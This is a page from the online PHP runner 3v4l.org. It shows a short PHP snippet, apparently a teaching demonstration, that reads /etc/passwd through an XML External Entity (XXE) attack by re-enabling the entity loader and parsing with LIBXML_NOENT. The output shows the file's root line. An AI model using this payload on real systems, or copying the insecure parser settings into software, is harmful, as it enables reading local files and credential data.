3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xml = '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE strony [ <!ENTITY shp SYSTEM "/etc/passwd"> ] > <strony> <strona id="sekurak"> <nazwa>Sekurak</nazwa> <url>http://www.sekurak.pl/</url> <komentarz>I &lt;3 Sekurak! &shp;</komentarz> </strona> </strony>'; libxml_disable_entity_loader (false); $strony = new SimpleXMLElement($xml, LIBXML_NOENT); foreach($strony->strona->komentarz as $komentarz) echo "$komentarz\n";
Output for git.master, git.master_jit, rfc.property-hooks
Deprecated: Function libxml_disable_entity_loader() is deprecated in /in/XKfq7 on line 14 I <3 Sekurak! root:x:0:0::/root:/bin/bash

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
48.93 ms | 401 KiB | 8 Q